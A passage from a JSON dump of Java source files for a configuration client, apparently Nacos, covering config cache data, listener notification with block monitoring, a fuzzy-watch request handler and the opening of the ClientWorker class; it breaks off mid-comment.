shutdownScheduledExecutor.\n     */\n    public static void shutdownScheduledExecutor() {\n        if (scheduledExecutor != null && !scheduledExecutor.isShutdown()) {\n            try {\n                scheduledExecutor.shutdown();\n                // help gc\n                scheduledExecutor = null;\n            } catch (Exception e) {\n                // ignore\n            }\n        }\n    }\n\n    static boolean initSnapshot;\n    \n    static {\n        initSnapshot = NacosClientProperties.PROTOTYPE.getBoolean(\"nacos.cache.data.init.snapshot\", true);\n        LOGGER.info(\"nacos.cache.data.init.snapshot = {} \", initSnapshot);\n    }\n    \n    public final String envName;\n    \n    private final ConfigFilterChainManager configFilterChainManager;\n    \n    public final String dataId;\n    \n    public final String group;\n    \n    public final String tenant;\n    \n    private final CopyOnWriteArrayList<ManagerListenerWrap> listeners;\n    \n    private volatile String md5;\n    \n    /**\n     * whether use local config.\n     */\n    private volatile boolean isUseLocalConfig = false;\n    \n    /**\n     * last modify time.\n     */\n    private volatile long localConfigLastModified;\n    \n    private volatile String content;\n    \n    private volatile String encryptedDataKey;\n    \n    /**\n     * local cache change timestamp.\n     */\n    private final AtomicLong lastModifiedTs = new AtomicLong(0);\n    \n    /**\n     * notify change flag,for notify&sync concurrent control. 1.reset to false if starting to sync with server. 2.update\n     * to true if receive config change notification.\n     */\n    private final AtomicBoolean receiveNotifyChanged = new AtomicBoolean(false);\n    \n    private int taskId;\n    \n    private volatile boolean isInitializing = true;\n    \n    /**\n     * if is cache data md5 sync with the server.\n     */\n    private final AtomicBoolean isConsistentWithServer = new AtomicBoolean();\n    \n    /**\n     * if is cache data is discard,need to remove.\n     */\n    private volatile boolean isDiscard = false;\n    \n    private String type;\n    \n    public boolean isInitializing() {\n        return isInitializing;\n    }\n    \n    public void setInitializing(boolean isInitializing) {\n        this.isInitializing = isInitializing;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n        this.md5 = getMd5String(this.content);\n    }\n    \n    public AtomicBoolean getReceiveNotifyChanged() {\n        return receiveNotifyChanged;\n    }\n    \n    /**\n     * Getter method for property <tt>lastModifiedTs</tt>.\n     *\n     * @return property value of lastModifiedTs\n     */\n    public AtomicLong getLastModifiedTs() {\n        return lastModifiedTs;\n    }\n    \n    /**\n     * Setter method for property <tt>lastModifiedTs</tt>.\n     *\n     * @param lastModifiedTs value to be assigned to property lastModifiedTs\n     */\n    public void setLastModifiedTs(long lastModifiedTs) {\n        this.lastModifiedTs.set(lastModifiedTs);\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    /**\n     * Add listener if CacheData already set new content, Listener should init lastCallMd5 by CacheData.md5\n     *\n     * @param listener listener\n     */\n    public void addListener(Listener listener) throws NacosException {\n        if (null == listener) {\n            throw new IllegalArgumentException(\"listener is null\");\n        }\n        ManagerListenerWrap wrap;\n        if (listener instanceof AbstractConfigChangeListener) {\n            ConfigResponse cr = new ConfigResponse();\n            cr.setDataId(dataId);\n            cr.setGroup(group);\n            cr.setContent(content);\n            cr.setEncryptedDataKey(encryptedDataKey);\n            configFilterChainManager.doFilter(null, cr);\n            String contentTmp = cr.getContent();\n            wrap = new ManagerListenerWrap(listener, md5, contentTmp);\n        } else {\n            wrap = new ManagerListenerWrap(listener, md5);\n        }\n        \n        if (listeners.addIfAbsent(wrap)) {\n            LOGGER.info(\"[{}] [add-listener] ok, tenant={}, dataId={}, group={}, cnt={}\", envName, tenant, dataId,\n                    group, listeners.size());\n        }\n    }\n    \n    /**\n     * Remove listener.\n     *\n     * @param listener listener\n     */\n    public void removeListener(Listener listener) {\n        if (null == listener) {\n            throw new IllegalArgumentException(\"listener is null\");\n        }\n        ManagerListenerWrap wrap = new ManagerListenerWrap(listener);\n        if (listeners.remove(wrap)) {\n            LOGGER.info(\"[{}] [remove-listener] ok, dataId={}, group={},tenant={}, cnt={}\", envName, dataId, group,\n                    tenant, listeners.size());\n        }\n    }\n    \n    /**\n     * Returns the iterator on the listener list, read-only. It is guaranteed not to return NULL.\n     */\n    public List<Listener> getListeners() {\n        List<Listener> result = new ArrayList<>();\n        for (ManagerListenerWrap wrap : listeners) {\n            result.add(wrap.listener);\n        }\n        return result;\n    }\n    \n    public long getLocalConfigInfoVersion() {\n        return localConfigLastModified;\n    }\n    \n    public void setLocalConfigInfoVersion(long localConfigLastModified) {\n        this.localConfigLastModified = localConfigLastModified;\n    }\n    \n    public boolean isUseLocalConfigInfo() {\n        return isUseLocalConfig;\n    }\n    \n    public void setUseLocalConfigInfo(boolean useLocalConfigInfo) {\n        this.isUseLocalConfig = useLocalConfigInfo;\n        if (!useLocalConfigInfo) {\n            localConfigLastModified = -1;\n        }\n    }\n    \n    public int getTaskId() {\n        return taskId;\n    }\n    \n    public void setTaskId(int taskId) {\n        this.taskId = taskId;\n    }\n    \n    @Override\n    public int hashCode() {\n        final int prime = 31;\n        int result = 1;\n        result = prime * result + ((dataId == null) ? 0 : dataId.hashCode());\n        result = prime * result + ((group == null) ? 0 : group.hashCode());\n        return result;\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        if (null == obj || obj.getClass() != getClass()) {\n            return false;\n        }\n        if (this == obj) {\n            return true;\n        }\n        CacheData other = (CacheData) obj;\n        return dataId.equals(other.dataId) && group.equals(other.group);\n    }\n    \n    @Override\n    public String toString() {\n        return \"CacheData [\" + dataId + \", \" + group + \"]\";\n    }\n    \n    void checkListenerMd5() {\n        for (ManagerListenerWrap wrap : listeners) {\n            if (!md5.equals(wrap.lastCallMd5)) {\n                safeNotifyListener(dataId, group, content, type, md5, encryptedDataKey, wrap);\n            }\n        }\n    }\n    \n    /**\n     * check if all listeners md5 is equal with cache data.\n     */\n    public boolean checkListenersMd5Consistent() {\n        for (ManagerListenerWrap wrap : listeners) {\n            if (!md5.equals(wrap.lastCallMd5)) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    class LongNotifyHandler implements Runnable {\n        \n        public LongNotifyHandler(String listenerClass, String dataId, String group, String tenant, String md5,\n                long timeoutMills, Thread thread) {\n            this.listenerClass = listenerClass;\n            this.dataId = dataId;\n            this.group = group;\n            this.tenant = tenant;\n            this.md5 = md5;\n            this.timeoutMills = timeoutMills;\n            this.thread = thread;\n        }\n        \n        String listenerClass;\n        \n        long startTime = System.currentTimeMillis();\n        \n        long timeoutMills;\n        \n        String dataId;\n        \n        String group;\n        \n        String tenant;\n        \n        String md5;\n        \n        Thread thread;\n        \n        @Override\n        public void run() {\n            String blockTrace = getTrace(thread.getStackTrace(), 5);\n            LOGGER.warn(\"[{}] [notify-block-monitor] dataId={}, group={},tenant={}, md5={}, \"\n                            + \"receiveConfigInfo execute over {} mills，thread trace block : {}\", envName, dataId, group, tenant,\n                    md5, timeoutMills, blockTrace);\n            NotifyCenter.publishEvent(\n                    new ChangeNotifyBlockEvent(this.listenerClass, dataId, group, tenant, this.startTime,\n                            System.currentTimeMillis(), blockTrace));\n        }\n        \n    }\n    \n    private static String getTrace(StackTraceElement[] stackTrace, int traceDeep) {\n        StringBuilder stringBuilder = new StringBuilder();\n        stringBuilder.append(\"\\n\");\n        int deep = 0;\n        for (StackTraceElement element : stackTrace) {\n            stringBuilder.append(\"\\tat \" + element + \"\\n\");\n            deep++;\n            if (traceDeep > 0 && deep > traceDeep) {\n                stringBuilder.append(\"\\tat ... \\n\");\n                break;\n            }\n        }\n        return stringBuilder.toString();\n    }\n    \n    private void safeNotifyListener(final String dataId, final String group, final String content, final String type,\n            final String md5, final String encryptedDataKey, final ManagerListenerWrap listenerWrap) {\n        final Listener listener = listenerWrap.listener;\n        if (listenerWrap.inNotifying) {\n            LOGGER.warn(\n                    \"[{}] [notify-currentSkip] dataId={}, group={},tenant={}, md5={}, listener={}, listener is not finish yet,will try next time.\",\n                    envName, dataId, group, tenant, md5, listener);\n            return;\n        }\n        NotifyTask job = new NotifyTask() {\n            \n            @Override\n            public void run() {\n                long start = System.currentTimeMillis();\n                ClassLoader myClassLoader = Thread.currentThread().getContextClassLoader();\n                ClassLoader appClassLoader = listener.getClass().getClassLoader();\n                ScheduledFuture<?> timeSchedule = null;\n                \n                try {\n                    if (listener instanceof AbstractSharedListener) {\n                        AbstractSharedListener adapter = (AbstractSharedListener) listener;\n                        adapter.fillContext(dataId, group);\n                        LOGGER.info(\"[{}] [notify-context] dataId={}, group={},tenant={}, md5={}\", envName, dataId,\n                                group, tenant, md5);\n                    }\n                    // Before executing the callback, set the thread classloader to the classloader of\n                    // the specific webapp to avoid exceptions or misuses when calling the spi interface in\n                    // the callback method (this problem occurs only in multi-application deployment).\n                    Thread.currentThread().setContextClassLoader(appClassLoader);\n                    \n                    ConfigResponse cr = new ConfigResponse();\n                    cr.setDataId(dataId);\n                    cr.setGroup(group);\n                    cr.setContent(content);\n                    cr.setEncryptedDataKey(encryptedDataKey);\n                    configFilterChainManager.doFilter(null, cr);\n                    String contentTmp = cr.getContent();\n                    timeSchedule = getNotifyBlockMonitor().schedule(\n                            new LongNotifyHandler(listener.getClass().getSimpleName(), dataId, group, tenant, md5,\n                                    notifyWarnTimeout, Thread.currentThread()), notifyWarnTimeout,\n                            TimeUnit.MILLISECONDS);\n                    listenerWrap.inNotifying = true;\n                    listener.receiveConfigInfo(contentTmp);\n                    // compare lastContent and content\n                    if (listener instanceof AbstractConfigChangeListener) {\n                        Map<String, ConfigChangeItem> data = ConfigChangeHandler.getInstance()\n                                .parseChangeData(listenerWrap.lastContent, contentTmp, type);\n                        ConfigChangeEvent event = new ConfigChangeEvent(data);\n                        ((AbstractConfigChangeListener) listener).receiveConfigChange(event);\n                        listenerWrap.lastContent = contentTmp;\n                    }\n                    \n                    listenerWrap.lastCallMd5 = md5;\n                    LOGGER.info(\n                            \"[{}] [notify-ok] dataId={}, group={},tenant={}, md5={}, listener={} ,job run cost={} millis.\",\n                            envName, dataId, group, tenant, md5, listener, (System.currentTimeMillis() - start));\n                } catch (NacosException ex) {\n                    LOGGER.error(\n                            \"[{}] [notify-error] dataId={}, group={},tenant={},md5={}, listener={} errCode={} errMsg={},stackTrace :{}\",\n                            envName, dataId, group, tenant, md5, listener, ex.getErrCode(), ex.getErrMsg(),\n                            getTrace(ex.getStackTrace(), 3));\n                } catch (Throwable t) {\n                    LOGGER.error(\"[{}] [notify-error] dataId={}, group={},tenant={}, md5={}, listener={} tx={}\",\n                            envName, dataId, group, tenant, md5, listener, getTrace(t.getStackTrace(), 3));\n                } finally {\n                    listenerWrap.inNotifying = false;\n                    Thread.currentThread().setContextClassLoader(myClassLoader);\n                    if (timeSchedule != null) {\n                        timeSchedule.cancel(true);\n                    }\n                }\n            }\n        };\n        \n        try {\n            if (null != listener.getExecutor()) {\n                LOGGER.info(\n                        \"[{}] [notify-listener] task submitted to user executor, dataId={}, group={},tenant={}, md5={}, listener={} \",\n                        envName, dataId, group, tenant, md5, listener);\n                job.async = true;\n                listener.getExecutor().execute(job);\n            } else {\n                LOGGER.info(\n                        \"[{}] [notify-listener] task execute in nacos thread, dataId={}, group={},tenant={}, md5={}, listener={} \",\n                        envName, dataId, group, tenant, md5, listener);\n                job.run();\n            }\n        } catch (Throwable t) {\n            LOGGER.error(\"[{}] [notify-listener-error] dataId={}, group={},tenant={}, md5={}, listener={} throwable={}\",\n                    envName, dataId, group, tenant, md5, listener, t.getCause());\n        }\n    }\n    \n    abstract class NotifyTask implements Runnable {\n        \n        boolean async = false;\n        \n        public boolean isAsync() {\n            return async;\n        }\n        \n        public void setAsync(boolean async) {\n            this.async = async;\n        }\n        \n    }\n    \n    public static String getMd5String(String config) {\n        return (null == config) ? Constants.NULL : MD5Utils.md5Hex(config, Constants.ENCODE);\n    }\n    \n    private String loadCacheContentFromDiskLocal(String name, String dataId, String group, String tenant) {\n        String content = LocalConfigInfoProcessor.getFailover(name, dataId, group, tenant);\n        content = (null != content) ? content : LocalConfigInfoProcessor.getSnapshot(name, dataId, group, tenant);\n        return content;\n    }\n    \n    /**\n     * 1.first add listener.default is false;need to check. 2.receive config change notify,set false;need to check.\n     * 3.last listener is remove,set to false;need to check\n     *\n     * @return\n     */\n    public boolean isConsistentWithServer() {\n        return isConsistentWithServer.get();\n    }\n    \n    public void setConsistentWithServer(boolean consistentWithServer) {\n        isConsistentWithServer.set(consistentWithServer);\n    }\n    \n    public boolean isDiscard() {\n        return isDiscard;\n    }\n    \n    public void setDiscard(boolean discard) {\n        isDiscard = discard;\n    }\n    \n    public CacheData(ConfigFilterChainManager configFilterChainManager, String envName, String dataId, String group) {\n        this(configFilterChainManager, envName, dataId, group, TenantUtil.getUserTenantForAcm());\n    }\n    \n    public CacheData(ConfigFilterChainManager configFilterChainManager, String envName, String dataId, String group,\n            String tenant) {\n        if (null == dataId || null == group) {\n            throw new IllegalArgumentException(\"dataId=\" + dataId + \", group=\" + group);\n        }\n        this.configFilterChainManager = configFilterChainManager;\n        this.envName = envName;\n        this.dataId = dataId;\n        this.group = group;\n        this.tenant = tenant;\n        this.listeners = new CopyOnWriteArrayList<>();\n        this.isInitializing = true;\n        if (initSnapshot) {\n            this.content = loadCacheContentFromDiskLocal(envName, dataId, group, tenant);\n            this.encryptedDataKey = loadEncryptedDataKeyFromDiskLocal(envName, dataId, group, tenant);\n            this.md5 = getMd5String(this.content);\n        }\n    }\n    \n    // ==================\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    private String loadEncryptedDataKeyFromDiskLocal(String envName, String dataId, String group, String tenant) {\n        String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeyFailover(envName, dataId, group,\n                tenant);\n        \n        if (encryptedDataKey != null) {\n            return encryptedDataKey;\n        }\n        \n        return LocalEncryptedDataKeyProcessor.getEncryptDataKeySnapshot(envName, dataId, group, tenant);\n    }\n    \n    private static class ManagerListenerWrap {\n        \n        boolean inNotifying = false;\n        \n        final Listener listener;\n        \n        String lastCallMd5 = Constants.NULL;\n        \n        /**\n         * here is a decryptContent.\n         */\n        String lastContent = null;\n        \n        ManagerListenerWrap(Listener listener) {\n            this.listener = listener;\n        }\n        \n        ManagerListenerWrap(Listener listener, String md5) {\n            this.listener = listener;\n            this.lastCallMd5 = md5;\n        }\n        \n        ManagerListenerWrap(Listener listener, String md5, String lastContent) {\n            this(listener, md5);\n            this.lastContent = lastContent;\n        }\n        \n        @Override\n        public boolean equals(Object obj) {\n            if (null == obj || obj.getClass() != getClass()) {\n                return false;\n            }\n            if (obj == this) {\n                return true;\n            }\n            ManagerListenerWrap other = (ManagerListenerWrap) obj;\n            return listener.equals(other.listener);\n        }\n        \n        @Override\n        public int hashCode() {\n            return super.hashCode();\n        }\n        \n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ChangeNotifyBlockEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.common.notify.SlowEvent;\n\n/**\n * change notify block event.\n *\n * @author shiyiyue\n */\npublic class ChangeNotifyBlockEvent extends SlowEvent {\n    \n    public ChangeNotifyBlockEvent(String listener, String dataId, String group, String tenant, long startTime,\n            long currentTime, String blockStack) {\n        this.listener = listener;\n        this.dataId = dataId;\n        this.group = group;\n        this.tenant = tenant;\n        this.startTime = startTime;\n        this.currentTime = currentTime;\n        this.blockStack = blockStack;\n    }\n    \n    private String listener;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    private long startTime;\n    \n    private long currentTime;\n    \n    private String blockStack;\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public long getStartTime() {\n        return startTime;\n    }\n    \n    public void setStartTime(long startTime) {\n        this.startTime = startTime;\n    }\n    \n    public long getCurrentTime() {\n        return currentTime;\n    }\n    \n    public void setCurrentTime(long currentTime) {\n        this.currentTime = currentTime;\n    }\n    \n    public String getBlockStack() {\n        return blockStack;\n    }\n    \n    public void setBlockStack(String blockStack) {\n        this.blockStack = blockStack;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ChangeNotifyBlockEvent{\" + \"listener='\" + listener + '\\'' + \", dataId='\" + dataId + '\\'' + \", group='\"\n                + group + '\\'' + \", tenant='\" + tenant + '\\'' + \", startTime=\" + startTime + \", currentTime=\"\n                + currentTime + \", blockStack='\" + blockStack + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ClientFuzzyWatchNotifyRequestHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.ServerRequestHandler;\n\n/**\n * fuzzy watch request from server .\n * @author shiyiyue\n */\npublic class ClientFuzzyWatchNotifyRequestHandler implements ServerRequestHandler {\n    \n    ConfigFuzzyWatchGroupKeyHolder configFuzzyWatchGroupKeyHolder;\n    \n    public ClientFuzzyWatchNotifyRequestHandler(ConfigFuzzyWatchGroupKeyHolder configFuzzyWatchGroupKeyHolder) {\n        \n        this.configFuzzyWatchGroupKeyHolder = configFuzzyWatchGroupKeyHolder;\n    }\n    \n    @Override\n    public Response requestReply(Request request, Connection connection) {\n        //fuzzy watch diff reconciliation sync\n        if (request instanceof ConfigFuzzyWatchSyncRequest) {\n            return configFuzzyWatchGroupKeyHolder.handleFuzzyWatchSyncNotifyRequest(\n                    (ConfigFuzzyWatchSyncRequest) request);\n        }\n        //fuzzy watch changed notify for a single config. include config changed or config delete.\n        if (request instanceof ConfigFuzzyWatchChangeNotifyRequest) {\n            return configFuzzyWatchGroupKeyHolder.handlerFuzzyWatchChangeNotifyRequest(\n                    (ConfigFuzzyWatchChangeNotifyRequest) request);\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ClientWorker.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest;\nimport com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigChangeNotifyResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.config.common.GroupKey;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigResponse;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.env.SourceType;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.client.utils.EnvUtil;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.client.utils.ParamUtil;\nimport com.alibaba.nacos.client.utils.TenantUtil;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.labels.impl.DefaultLabelsCollectorManager;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.ConnectionEventListener;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientConfigFactory;\nimport com.alibaba.nacos.common.remote.client.RpcClientFactory;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConnLabelsUtils;\nimport com.alibaba.nacos.common.utils.ConvertUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.google.gson.Gson;\nimport com.google.gson.JsonObject;\nimport org.slf4j.Logger;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.Set;\nimport java.util.UUID;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.SynchronousQueue;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.concurrent.atomic.AtomicReference;\nimport java.util.concurrent.Executors;\n\nimport static com.alibaba.nacos.api.common.Constants.APP_CONN_PREFIX;\nimport static com.alibaba.nacos.api.common.Constants.ENCODE;\n\n/**\n * Long polling.\n *\n * @author Nacos\n */\npublic class ClientWorker implements Closeable {\n    \n    private static final Logger LOGGER = LogUtils.logger(ClientWorker.class);\n    \n    private static final String NOTIFY_HEADER = \"notify\";\n    \n    private static final String TAG_PARAM = \"tag\";\n    \n    private static final String APP_NAME_PARAM = \"appName\";\n    \n    private static final String BETAIPS_PARAM = \"betaIps\";\n    \n    private static final String TYPE_PARAM = \"type\";\n    \n    private static final String ENCRYPTED_DATA_KEY_PARAM = \"encryptedDataKey\";\n    \n    /**\n     * groupKey -> cacheData.\n     */\n    private final AtomicReference<Map<String, CacheData>> cacheMap = new AtomicReference<>(new HashMap<>());\n    \n    private final DefaultLabelsCollectorManager defaultLabelsCollectorManager = new DefaultLabelsCollectorManager();\n    \n    private ConfigFuzzyWatchGroupKeyHolder configFuzzyWatchGroupKeyHolder;\n    \n    private Map<String, String> appLabels = new HashMap<>();\n    \n    private final ConfigFilterChainManager configFilterChainManager;\n    \n    private final String uuid = UUID.randomUUID().toString();\n    \n    private long requestTimeout;\n    \n    private final ConfigRpcTransportClient agent;\n    \n    private boolean enableRemoteSyncConfig = false;\n    \n    private static final int MIN_THREAD_NUM = 2;\n\n    private static final int THREAD_MULTIPLE = 1;\n    \n    private boolean enableClientMetrics = true;\n    \n    /**\n     * index(taskId)-> total cache count for this taskId.\n     */\n    private final List<AtomicInteger> taskIdCacheCountList = new ArrayList<>();\n    \n    /**\n     * Add listeners for data.\n     *\n     * @param dataId    dataId of data\n     * @param group     group of data\n     * @param listeners listeners\n     */\n    public void addListeners(String dataId, String group, List<? extends Listener> listeners) throws NacosException {\n        group = blank2defaultGroup(group);\n        CacheData cache = addCacheDataIfAbsent(dataId, group);\n        synchronized (cache) {\n            for (Listener listener : listeners) {\n                cache.addListener(listener);\n            }\n            cache.setDiscard(false);\n            cache.setConsistentWithServer(false);\n            // make sure cache exists in cacheMap\n            if (getCache(dataId, group) != cache) {\n                putCache(GroupKey.getKey(dataId, group), cache);\n            }\n            agent.notifyListenConfig();\n        }\n    }\n    \n    /**\n     * Add listeners for tenant.\n     *\n     * @param dataId    dataId of data\n     * @param group     group of data\n     * @param listeners listeners\n     * @throws NacosException nacos exception\n     */\n    public void addTenantListeners(String dataId, String group, List<? extends Listener> listeners)\n            throws NacosException {\n        group = blank2defaultGroup(group);\n        String tenant = agent.getTenant();\n        CacheData cache = addCacheDataIfAbsent(dataId, group, tenant);\n        synchronized (cache) {\n            for (Listener listener : listeners) {\n                cache.addListener(listener);\n            }\n            cache.setDiscard(false);\n            cache.setConsistentWithServer(false);\n            // ensure cache present in cacheMap\n            if (getCache(dataId, group, tenant) != cache) {\n                putCache(GroupKey.getKeyTenant(dataId, group, tenant), cache);\n            }\n            agent.notifyListenConfig();\n        }\n        \n    }\n    \n    /**\n     * Add listeners for tenant with content.\n     *\n     * @param dataId           dataId of data\n     * @param group            group of data\n     * @param content          content\n     * @param encryptedDataKey encryptedDataKey\n     * @param listeners        listeners\n     * @throws NacosException nacos exception\n     */\n    public void addTenantListenersWithContent(String dataId, String group, String content, String encryptedDataKey,\n            List<? extends Listener> listeners) throws NacosException {\n        group = blank2defaultGroup(group);\n        String tenant = agent.getTenant();\n        CacheData cache = addCacheDataIfAbsent(dataId, group, tenant);\n        synchronized (cache) {\n            cache.setEncryptedDataKey(encryptedDataKey);\n            cache.setContent(content);\n            for (Listener listener : listeners) {\n                cache.addListener(listener);\n            }\n            cache.setDiscard(false);\n            cache.setConsistentWithServer(false);\n            // make sure cache exists in cacheMap\n            if (getCache(dataId, group, tenant) != cache) {\n                putCache(GroupKey.getKeyTenant(dataId, group, tenant), cache);\n            }\n            agent.notifyListenConfig();\n        }\n        \n    }\n    \n    /**\n     * Remove listener.\n     *\n     * @param dataId   dataId of data\n     * @param group    group of data\n     * @param listener listener\n     */\n    public void removeListener(String dataId, String group, Listener listener) {\n        group = blank2defaultGroup(group);\n        CacheData cache = getCache(dataId, group);\n        if (null != cache) {\n            synchronized (cache) {\n                cache.removeListener(listener);\n                if (cache.getListeners().isEmpty()) {\n                    cache.setConsistentWithServer(false);\n                    cache.setDiscard(true);\n                    agent.removeCache(dataId, group);\n                }\n            }\n            \n        }\n    }\n    \n    /**\n     * Remove listeners for tenant.\n     *\n     * @param dataId   dataId of data\n     * @param group    group of data\n     * @param listener listener\n     */\n    public void removeTenantListener(String dataId, String group, Listener listener) {\n        group = blank2defaultGroup(group);\n        String tenant = agent.getTenant();\n        CacheData cache = getCache(dataId, group, tenant);\n        if (null != cache) {\n            synchronized (cache) {\n                cache.removeListener(listener);\n                if (cache.getListeners().isEmpty()) {\n                    cache.setConsistentWithServer(false);\n                    cache.setDiscard(true);\n                    agent.removeCache(dataId, group);\n                }\n            }\n        }\n    }\n    \n    /**\n     * Adds a list of fuzzy listen listeners for the specified data ID pattern and group.\n     *\n     * @param dataIdPattern          The pattern of the data ID to listen for.\n     * @param groupPattern           The group of the configuration.\n     * @param fuzzyWatchEventWatcher The configFuzzyWatcher to add.\n     * @throws 